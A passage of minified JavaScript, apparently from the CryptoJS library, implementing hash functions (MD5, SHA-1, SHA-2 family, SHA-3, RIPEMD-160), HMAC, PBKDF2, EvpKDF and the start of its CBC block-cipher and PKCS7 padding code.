x, b, S, s, 20, H[19]), S = A(S, m, x, b, f, 5, H[20]), b = A(b, S, m, x, v, 9, H[21]), x = A(x, b, S, m, k, 14, H[22]), m = A(m, x, b, S, l, 20, H[23]), S = A(S, m, x, b, _, 5, H[24]), b = A(b, S, m, x, w, 9, H[25]), x = A(x, b, S, m, h, 14, H[26]), m = A(m, x, b, S, p, 20, H[27]), S = A(S, m, x, b, B, 5, H[28]), b = A(b, S, m, x, a, 9, H[29]), x = A(x, b, S, m, u, 14, H[30]), S = C(S, m = A(m, x, b, S, g, 20, H[31]), x, b, f, 4, H[32]), b = C(b, S, m, x, p, 11, H[33]), x = C(x, b, S, m, y, 16, H[34]), m = C(m, x, b, S, w, 23, H[35]), S = C(S, m, x, b, c, 4, H[36]), b = C(b, S, m, x, l, 11, H[37]), x = C(x, b, S, m, u, 16, H[38]), m = C(m, x, b, S, v, 23, H[39]), S = C(S, m, x, b, B, 4, H[40]), b = C(b, S, m, x, s, 11, H[41]), x = C(x, b, S, m, h, 16, H[42]), m = C(m, x, b, S, d, 23, H[43]), S = C(S, m, x, b, _, 4, H[44]), b = C(b, S, m, x, g, 11, H[45]), x = C(x, b, S, m, k, 16, H[46]), S = D(S, m = C(m, x, b, S, a, 23, H[47]), x, b, s, 6, H[48]), b = D(b, S, m, x, u, 10, H[49]), x = D(x, b, S, m, w, 15, H[50]), m = D(m, x, b, S, f, 21, H[51]), S = D(S, m, x, b, g, 6, H[52]), b = D(b, S, m, x, h, 10, H[53]), x = D(x, b, S, m, v, 15, H[54]), m = D(m, x, b, S, c, 21, H[55]), S = D(S, m, x, b, p, 6, H[56]), b = D(b, S, m, x, k, 10, H[57]), x = D(x, b, S, m, d, 15, H[58]), m = D(m, x, b, S, B, 21, H[59]), S = D(S, m, x, b, l, 6, H[60]), b = D(b, S, m, x, y, 10, H[61]), x = D(x, b, S, m, a, 15, H[62]), m = D(m, x, b, S, _, 21, H[63]), o[0] = o[0] + S | 0, o[1] = o[1] + m | 0, o[2] = o[2] + x | 0, o[3] = o[3] + b | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; e[i >>> 5] |= 128 << 24 - i % 32; var n = l.floor(r / 4294967296), o = r; e[15 + (64 + i >>> 9 << 4)] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8), e[14 + (64 + i >>> 9 << 4)] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var s = this._hash, c = s.words, a = 0; a < 4; a++) { var h = c[a]; c[a] = 16711935 & (h << 8 | h >>> 24) | 4278255360 & (h << 24 | h >>> 8) } return s }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }); function z(t, e, r, i, n, o, s) { var c = t + (e & r | ~e & i) + n + s; return (c << o | c >>> 32 - o) + e } function A(t, e, r, i, n, o, s) { var c = t + (e & i | r & ~i) + n + s; return (c << o | c >>> 32 - o) + e } function C(t, e, r, i, n, o, s) { var c = t + (e ^ r ^ i) + n + s; return (c << o | c >>> 32 - o) + e } function D(t, e, r, i, n, o, s) { var c = t + (r ^ (e | ~i)) + n + s; return (c << o | c >>> 32 - o) + e } t.MD5 = i._createHelper(o), t.HmacMD5 = i._createHmacHelper(o) }(Math), e = (t = bt).lib, r = e.WordArray, i = e.Hasher, n = t.algo, f = [], o = n.SHA1 = i.extend({ _doReset: function () { this._hash = new r.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = 0; a < 80; a++) { if (a < 16) f[a] = 0 | t[e + a]; else { var h = f[a - 3] ^ f[a - 8] ^ f[a - 14] ^ f[a - 16]; f[a] = h << 1 | h >>> 31 } var l = (i << 5 | i >>> 27) + c + f[a]; l += a < 20 ? 1518500249 + (n & o | ~n & s) : a < 40 ? 1859775393 + (n ^ o ^ s) : a < 60 ? (n & o | n & s | o & s) - 1894007588 : (n ^ o ^ s) - 899497514, c = s, s = o, o = n << 30 | n >>> 2, n = i, i = l } r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + s | 0, r[4] = r[4] + c | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = Math.floor(r / 4294967296), e[15 + (64 + i >>> 9 << 4)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }), t.SHA1 = i._createHelper(o), t.HmacSHA1 = i._createHmacHelper(o), function (n) { var t = bt, e = t.lib, r = e.WordArray, i = e.Hasher, o = t.algo, s = [], B = []; !function () { function t(t) { for (var e = n.sqrt(t), r = 2; r <= e; r++)if (!(t % r)) return; return 1 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var r = 2, i = 0; i < 64;)t(r) && (i < 8 && (s[i] = e(n.pow(r, .5))), B[i] = e(n.pow(r, 1 / 3)), i++), r++ }(); var w = [], c = o.SHA256 = i.extend({ _doReset: function () { this._hash = new r.init(s.slice(0)) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = r[5], h = r[6], l = r[7], f = 0; f < 64; f++) { if (f < 16) w[f] = 0 | t[e + f]; else { var d = w[f - 15], u = (d << 25 | d >>> 7) ^ (d << 14 | d >>> 18) ^ d >>> 3, p = w[f - 2], _ = (p << 15 | p >>> 17) ^ (p << 13 | p >>> 19) ^ p >>> 10; w[f] = u + w[f - 7] + _ + w[f - 16] } var v = i & n ^ i & o ^ n & o, y = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), g = l + ((c << 26 | c >>> 6) ^ (c << 21 | c >>> 11) ^ (c << 7 | c >>> 25)) + (c & a ^ ~c & h) + B[f] + w[f]; l = h, h = a, a = c, c = s + g | 0, s = o, o = n, n = i, i = g + (y + v) | 0 } r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + s | 0, r[4] = r[4] + c | 0, r[5] = r[5] + a | 0, r[6] = r[6] + h | 0, r[7] = r[7] + l | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = n.floor(r / 4294967296), e[15 + (64 + i >>> 9 << 4)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }); t.SHA256 = i._createHelper(c), t.HmacSHA256 = i._createHmacHelper(c) }(Math), function () { var n = bt.lib.WordArray, t = bt.enc; t.Utf16 = t.Utf16BE = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n += 2) { var o = e[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(r, 2 * e) } }; function s(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } t.Utf16LE = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n += 2) { var o = s(e[n >>> 2] >>> 16 - n % 4 * 8 & 65535); i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 1] |= s(t.charCodeAt(i) << 16 - i % 2 * 16); return n.create(r, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var t = bt.lib.WordArray, n = t.init; (t.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var e = t.byteLength, r = [], i = 0; i < e; i++)r[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, r, e) } else n.apply(this, arguments) }).prototype = t } }(), Math, c = (s = bt).lib, a = c.WordArray, l = c.Hasher, d = s.algo, m = a.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), x = a.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), b = a.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), H = a.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), z = a.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), A = a.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), u = d.RIPEMD160 = l.extend({ _doReset: function () { this._hash = a.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, e) { for (var r = 0; r < 16; r++) { var i = e + r, n = t[i]; t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) } var o, s, c, a, h, l, f, d, u, p, _, v = this._hash.words, y = z.words, g = A.words, B = m.words, w = x.words, k = b.words, S = H.words; l = o = v[0], f = s = v[1], d = c = v[2], u = a = v[3], p = h = v[4]; for (r = 0; r < 80; r += 1)_ = o + t[e + B[r]] | 0, _ += r < 16 ? mt(s, c, a) + y[0] : r < 32 ? xt(s, c, a) + y[1] : r < 48 ? Ht(s, c, a) + y[2] : r < 64 ? zt(s, c, a) + y[3] : At(s, c, a) + y[4], _ = (_ = Ct(_ |= 0, k[r])) + h | 0, o = h, h = a, a = Ct(c, 10), c = s, s = _, _ = l + t[e + w[r]] | 0, _ += r < 16 ? At(f, d, u) + g[0] : r < 32 ? zt(f, d, u) + g[1] : r < 48 ? Ht(f, d, u) + g[2] : r < 64 ? xt(f, d, u) + g[3] : mt(f, d, u) + g[4], _ = (_ = Ct(_ |= 0, S[r])) + p | 0, l = p, p = u, u = Ct(d, 10), d = f, f = _; _ = v[1] + c + u | 0, v[1] = v[2] + a + p | 0, v[2] = v[3] + h + l | 0, v[3] = v[4] + o + f | 0, v[4] = v[0] + s + d | 0, v[0] = _ }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = 16711935 & (r << 8 | r >>> 24) | 4278255360 & (r << 24 | r >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var c = o[s]; o[s] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } return n }, clone: function () { var t = l.clone.call(this); return t._hash = this._hash.clone(), t } }), s.RIPEMD160 = l._createHelper(u), s.HmacRIPEMD160 = l._createHmacHelper(u), p = bt.lib.Base, _ = bt.enc.Utf8, bt.algo.HMAC = p.extend({ init: function (t, e) { t = this._hasher = new t.init, "string" == typeof e && (e = _.parse(e)); var r = t.blockSize, i = 4 * r; e.sigBytes > i && (e = t.finalize(e)), e.clamp(); for (var n = this._oKey = e.clone(), o = this._iKey = e.clone(), s = n.words, c = o.words, a = 0; a < r; a++)s[a] ^= 1549556828, c[a] ^= 909522486; n.sigBytes = o.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var e = this._hasher, r = e.finalize(t); return e.reset(), e.finalize(this._oKey.clone().concat(r)) } }), y = (v = bt).lib, g = y.Base, B = y.WordArray, w = v.algo, k = w.SHA1, S = w.HMAC, C = w.PBKDF2 = g.extend({ cfg: g.extend({ keySize: 4, hasher: k, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, e) { for (var r = this.cfg, i = S.create(r.hasher, t), n = B.create(), o = B.create([1]), s = n.words, c = o.words, a = r.keySize, h = r.iterations; s.length < a;) { var l = i.update(e).finalize(o); i.reset(); for (var f = l.words, d = f.length, u = l, p = 1; p < h; p++) { u = i.finalize(u), i.reset(); for (var _ = u.words, v = 0; v < d; v++)f[v] ^= _[v] } n.concat(l), c[0]++ } return n.sigBytes = 4 * a, n } }), v.PBKDF2 = function (t, e, r) { return C.create(r).compute(t, e) }, E = (D = bt).lib, R = E.Base, M = E.WordArray, F = D.algo, P = F.MD5, W = F.EvpKDF = R.extend({ cfg: R.extend({ keySize: 4, hasher: P, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, e) { for (var r, i = this.cfg, n = i.hasher.create(), o = M.create(), s = o.words, c = i.keySize, a = i.iterations; s.length < c;) { r && n.update(r), r = n.update(t).finalize(e), n.reset(); for (var h = 1; h < a; h++)r = n.finalize(r), n.reset(); o.concat(r) } return o.sigBytes = 4 * c, o } }), D.EvpKDF = function (t, e, r) { return W.create(r).compute(t, e) }, I = (O = bt).lib.WordArray, U = O.algo, K = U.SHA256, X = U.SHA224 = K.extend({ _doReset: function () { this._hash = new I.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = K._doFinalize.call(this); return t.sigBytes -= 4, t } }), O.SHA224 = K._createHelper(X), O.HmacSHA224 = K._createHmacHelper(X), L = bt.lib, j = L.Base, N = L.WordArray, (T = bt.x64 = {}).Word = j.extend({ init: function (t, e) { this.high = t, this.low = e } }), T.WordArray = j.extend({ init: function (t, e) { t = this.words = t || [], this.sigBytes = null != e ? e : 8 * t.length }, toX32: function () { for (var t = this.words, e = t.length, r = [], i = 0; i < e; i++) { var n = t[i]; r.push(n.high), r.push(n.low) } return N.create(r, this.sigBytes) }, clone: function () { for (var t = j.clone.call(this), e = t.words = this.words.slice(0), r = e.length, i = 0; i < r; i++)e[i] = e[i].clone(); return t } }), function (d) { var t = bt, e = t.lib, u = e.WordArray, i = e.Hasher, l = t.x64.Word, r = t.algo, C = [], D = [], E = []; !function () { for (var t = 1, e = 0, r = 0; r < 24; r++) { C[t + 5 * e] = (r + 1) * (r + 2) / 2 % 64; var i = (2 * t + 3 * e) % 5; t = e % 5, e = i } for (t = 0; t < 5; t++)for (e = 0; e < 5; e++)D[t + 5 * e] = e + (2 * t + 3 * e) % 5 * 5; for (var n = 1, o = 0; o < 24; o++) { for (var s = 0, c = 0, a = 0; a < 7; a++) { if (1 & n) { var h = (1 << a) - 1; h < 32 ? c ^= 1 << h : s ^= 1 << h - 32 } 128 & n ? n = n << 1 ^ 113 : n <<= 1 } E[o] = l.create(s, c) } }(); var R = []; !function () { for (var t = 0; t < 25; t++)R[t] = l.create() }(); var n = r.SHA3 = i.extend({ cfg: i.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], e = 0; e < 25; e++)t[e] = new l.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, e) { for (var r = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[e + 2 * n], s = t[e + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), (x = r[n]).high ^= s, x.low ^= o } for (var c = 0; c < 24; c++) { for (var a = 0; a < 5; a++) { for (var h = 0, l = 0, f = 0; f < 5; f++) { h ^= (x = r[a + 5 * f]).high, l ^= x.low } var d = R[a]; d.high = h, d.low = l } for (a = 0; a < 5; a++) { var u = R[(a + 4) % 5], p = R[(a + 1) % 5], _ = p.high, v = p.low; for (h = u.high ^ (_ << 1 | v >>> 31), l = u.low ^ (v << 1 | _ >>> 31), f = 0; f < 5; f++) { (x = r[a + 5 * f]).high ^= h, x.low ^= l } } for (var y = 1; y < 25; y++) { var g = (x = r[y]).high, B = x.low, w = C[y]; l = w < 32 ? (h = g << w | B >>> 32 - w, B << w | g >>> 32 - w) : (h = B << w - 32 | g >>> 64 - w, g << w - 32 | B >>> 64 - w); var k = R[D[y]]; k.high = h, k.low = l } var S = R[0], m = r[0]; S.high = m.high, S.low = m.low; for (a = 0; a < 5; a++)for (f = 0; f < 5; f++) { var x = r[y = a + 5 * f], b = R[y], H = R[(a + 1) % 5 + 5 * f], z = R[(a + 2) % 5 + 5 * f]; x.high = b.high ^ ~H.high & z.high, x.low = b.low ^ ~H.low & z.low } x = r[0]; var A = E[c]; x.high ^= A.high, x.low ^= A.low } }, _doFinalize: function () { var t = this._data, e = t.words, r = (this._nDataBytes, 8 * t.sigBytes), i = 32 * this.blockSize; e[r >>> 5] |= 1 << 24 - r % 32, e[(d.ceil((1 + r) / i) * i >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var n = this._state, o = this.cfg.outputLength / 8, s = o / 8, c = [], a = 0; a < s; a++) { var h = n[a], l = h.high, f = h.low; l = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8), f = 16711935 & (f << 8 | f >>> 24) | 4278255360 & (f << 24 | f >>> 8), c.push(f), c.push(l) } return new u.init(c, o) }, clone: function () { for (var t = i.clone.call(this), e = t._state = this._state.slice(0), r = 0; r < 25; r++)e[r] = e[r].clone(); return t } }); t.SHA3 = i._createHelper(n), t.HmacSHA3 = i._createHmacHelper(n) }(Math), function () { var t = bt, e = t.lib.Hasher, r = t.x64, i = r.Word, n = r.WordArray, o = t.algo; function s() { return i.create.apply(i, arguments) } var mt = [s(1116352408, 3609767458), s(1899447441, 602891725), s(3049323471, 3964484399), s(3921009573, 2173295548), s(961987163, 4081628472), s(1508970993, 3053834265), s(2453635748, 2937671579), s(2870763221, 3664609560), s(3624381080, 2734883394), s(310598401, 1164996542), s(607225278, 1323610764), s(1426881987, 3590304994), s(1925078388, 4068182383), s(2162078206, 991336113), s(2614888103, 633803317), s(3248222580, 3479774868), s(3835390401, 2666613458), s(4022224774, 944711139), s(264347078, 2341262773), s(604807628, 2007800933), s(770255983, 1495990901), s(1249150122, 1856431235), s(1555081692, 3175218132), s(1996064986, 2198950837), s(2554220882, 3999719339), s(2821834349, 766784016), s(2952996808, 2566594879), s(3210313671, 3203337956), s(3336571891, 1034457026), s(3584528711, 2466948901), s(113926993, 3758326383), s(338241895, 168717936), s(666307205, 1188179964), s(773529912, 1546045734), s(1294757372, 1522805485), s(1396182291, 2643833823), s(1695183700, 2343527390), s(1986661051, 1014477480), s(2177026350, 1206759142), s(2456956037, 344077627), s(2730485921, 1290863460), s(2820302411, 3158454273), s(3259730800, 3505952657), s(3345764771, 106217008), s(3516065817, 3606008344), s(3600352804, 1432725776), s(4094571909, 1467031594), s(275423344, 851169720), s(430227734, 3100823752), s(506948616, 1363258195), s(659060556, 3750685593), s(883997877, 3785050280), s(958139571, 3318307427), s(1322822218, 3812723403), s(1537002063, 2003034995), s(1747873779, 3602036899), s(1955562222, 1575990012), s(2024104815, 1125592928), s(2227730452, 2716904306), s(2361852424, 442776044), s(2428436474, 593698344), s(2756734187, 3733110249), s(3204031479, 2999351573), s(3329325298, 3815920427), s(3391569614, 3928383900), s(3515267271, 566280711), s(3940187606, 3454069534), s(4118630271, 4000239992), s(116418474, 1914138554), s(174292421, 2731055270), s(289380356, 3203993006), s(460393269, 320620315), s(685471733, 587496836), s(852142971, 1086792851), s(1017036298, 365543100), s(1126000580, 2618297676), s(1288033470, 3409855158), s(1501505948, 4234509866), s(1607167915, 987167468), s(1816402316, 1246189591)], xt = []; !function () { for (var t = 0; t < 80; t++)xt[t] = s() }(); var c = o.SHA512 = e.extend({ _doReset: function () { this._hash = new n.init([new i.init(1779033703, 4089235720), new i.init(3144134277, 2227873595), new i.init(1013904242, 4271175723), new i.init(2773480762, 1595750129), new i.init(1359893119, 2917565137), new i.init(2600822924, 725511199), new i.init(528734635, 4215389547), new i.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = r[5], h = r[6], l = r[7], f = i.high, d = i.low, u = n.high, p = n.low, _ = o.high, v = o.low, y = s.high, g = s.low, B = c.high, w = c.low, k = a.high, S = a.low, m = h.high, x = h.low, b = l.high, H = l.low, z = f, A = d, C = u, D = p, E = _, R = v, M = y, F = g, P = B, W = w, O = k, I = S, U = m, K = x, X = b, L = H, j = 0; j < 80; j++) { var N, T, q = xt[j]; if (j < 16) T = q.high = 0 | t[e + 2 * j], N = q.low = 0 | t[e + 2 * j + 1]; else { var Z = xt[j - 15], V = Z.high, G = Z.low, J = (V >>> 1 | G << 31) ^ (V >>> 8 | G << 24) ^ V >>> 7, $ = (G >>> 1 | V << 31) ^ (G >>> 8 | V << 24) ^ (G >>> 7 | V << 25), Q = xt[j - 2], Y = Q.high, tt = Q.low, et = (Y >>> 19 | tt << 13) ^ (Y << 3 | tt >>> 29) ^ Y >>> 6, rt = (tt >>> 19 | Y << 13) ^ (tt << 3 | Y >>> 29) ^ (tt >>> 6 | Y << 26), it = xt[j - 7], nt = it.high, ot = it.low, st = xt[j - 16], ct = st.high, at = st.low; T = (T = (T = J + nt + ((N = $ + ot) >>> 0 < $ >>> 0 ? 1 : 0)) + et + ((N += rt) >>> 0 < rt >>> 0 ? 1 : 0)) + ct + ((N += at) >>> 0 < at >>> 0 ? 1 : 0), q.high = T, q.low = N } var ht, lt = P & O ^ ~P & U, ft = W & I ^ ~W & K, dt = z & C ^ z & E ^ C & E, ut = A & D ^ A & R ^ D & R, pt = (z >>> 28 | A << 4) ^ (z << 30 | A >>> 2) ^ (z << 25 | A >>> 7), _t = (A >>> 28 | z << 4) ^ (A << 30 | z >>> 2) ^ (A << 25 | z >>> 7), vt = (P >>> 14 | W << 18) ^ (P >>> 18 | W << 14) ^ (P << 23 | W >>> 9), yt = (W >>> 14 | P << 18) ^ (W >>> 18 | P << 14) ^ (W << 23 | P >>> 9), gt = mt[j], Bt = gt.high, wt = gt.low, kt = X + vt + ((ht = L + yt) >>> 0 < L >>> 0 ? 1 : 0), St = _t + ut; X = U, L = K, U = O, K = I, O = P, I = W, P = M + (kt = (kt = (kt = kt + lt + ((ht = ht + ft) >>> 0 < ft >>> 0 ? 1 : 0)) + Bt + ((ht = ht + wt) >>> 0 < wt >>> 0 ? 1 : 0)) + T + ((ht = ht + N) >>> 0 < N >>> 0 ? 1 : 0)) + ((W = F + ht | 0) >>> 0 < F >>> 0 ? 1 : 0) | 0, M = E, F = R, E = C, R = D, C = z, D = A, z = kt + (pt + dt + (St >>> 0 < _t >>> 0 ? 1 : 0)) + ((A = ht + St | 0) >>> 0 < ht >>> 0 ? 1 : 0) | 0 } d = i.low = d + A, i.high = f + z + (d >>> 0 < A >>> 0 ? 1 : 0), p = n.low = p + D, n.high = u + C + (p >>> 0 < D >>> 0 ? 1 : 0), v = o.low = v + R, o.high = _ + E + (v >>> 0 < R >>> 0 ? 1 : 0), g = s.low = g + F, s.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = c.low = w + W, c.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + I, a.high = k + O + (S >>> 0 < I >>> 0 ? 1 : 0), x = h.low = x + K, h.high = m + U + (x >>> 0 < K >>> 0 ? 1 : 0), H = l.low = H + L, l.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[30 + (128 + i >>> 10 << 5)] = Math.floor(r / 4294967296), e[31 + (128 + i >>> 10 << 5)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash.toX32() }, clone: function () { var t = e.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); t.SHA512 = e._createHelper(c), t.HmacSHA512 = e._createHmacHelper(c) }(), Z = (q = bt).x64, V = Z.Word, G = Z.WordArray, J = q.algo, $ = J.SHA512, Q = J.SHA384 = $.extend({ _doReset: function () { this._hash = new G.init([new V.init(3418070365, 3238371032), new V.init(1654270250, 914150663), new V.init(2438529370, 812702999), new V.init(355462360, 4144912697), new V.init(1731405415, 4290775857), new V.init(2394180231, 1750603025), new V.init(3675008525, 1694076839), new V.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = $._doFinalize.call(this); return t.sigBytes -= 16, t } }), q.SHA384 = $._createHelper(Q), q.HmacSHA384 = $._createHmacHelper(Q), bt.lib.Cipher || function () { var t = bt, e = t.lib, r = e.Base, a = e.WordArray, i = e.BufferedBlockAlgorithm, n = t.enc, o = (n.Utf8, n.Base64), s = t.algo.EvpKDF, c = e.Cipher = i.extend({ cfg: r.extend(), createEncryptor: function (t, e) { return this.create(this._ENC_XFORM_MODE, t, e) }, createDecryptor: function (t, e) { return this.create(this._DEC_XFORM_MODE, t, e) }, init: function (t, e, r) { this.cfg = this.cfg.extend(r), this._xformMode = t, this._key = e, this.reset() }, reset: function () { i.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { return t && this._append(t), this._doFinalize() }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function (i) { return { encrypt: function (t, e, r) { return h(e).encrypt(i, t, e, r) }, decrypt: function (t, e, r) { return h(e).decrypt(i, t, e, r) } } } }); function h(t) { return "string" == typeof t ? w : g } e.StreamCipher = c.extend({ _doFinalize: function () { return this._process(!0) }, blockSize: 1 }); var l, f = t.mode = {}, d = e.BlockCipherMode = r.extend({ createEncryptor: function (t, e) { return this.Encryptor.create(t, e) }, createDecryptor: function (t, e) { return this.Decryptor.create(t, e) }, init: function (t, e) { this._cipher = t, this._iv = e } }), u = f.CBC = ((l = d.extend()).Encryptor = l.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize; p.call(this, t, e, i), r.encryptBlock(t, e), this._prevBlock = t.slice(e, e + i) } }), l.Decryptor = l.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); r.decryptBlock(t, e), p.call(this, t, e, i), this._prevBlock = n } }), l); function p(t, e, r) { var i, n = this._iv; n ? (i = n, this._iv = void 0) : i = this._prevBlock; for (var o = 0; o < r; o++)t[e + o] ^= i[o] } var _ = (t.pad = {}).Pkcs7 = { pad: function (t, e) { for (var r = 4 * e, i = r - t.sigBytes % r, n = i << 24 | i << 16 | i << 8 | i, o = [], s = 0; s < i; s += 4)o.push(n); var c = a.create(o, i); t.concat(c) }, unpad: function (t) { var e = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, v = (e.BlockCipher = c.extend({ cfg: c.cfg.extend({ mode: u, padding: _ }), reset: function () { var t; c.reset.call(this); var e = this.cfg, r = e.iv, i = e.mode; this._xformMode == this._ENC_XFORM_MODE ? t = i.createEncryptor : (t = i.createDecryptor, this._minBufferSize = 1), this._mode && this._mode.__creator == t ? this._mode.init(this, r && r.words) : (this._mode = t.call(i, this, r && r.words), this._mode.__creator = t) }, _doProcessBlock: function (t, e) { this._mode.processBlock(t, e) }, _doFinalize: function () { var t, e = this.cfg.padding; return this._xformMode == this._ENC_XFORM_MODE ? (e.pad(this._data, this.blockSize), t = this._process(!0)) : (t = this._process(!0), e.unpad(t)), t }, blockSize: 4 }), e.CipherParams = r.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), y = (t.format = {}).OpenSSL = { stringify: function (t) { var e = t.ciphertext, r = t.salt; return (r ? a.create([1398893684, 1701076831]).concat(r).concat(e) : e).toString(o) }, parse: function (t) { var e, r = o.parse(t), i = r.words; return 1398893684 == i[0] && 1701076831 == i[1] && (e = a.create(i.slice(2, 4)), i.splice(0, 4), r.sigBytes -= 16), 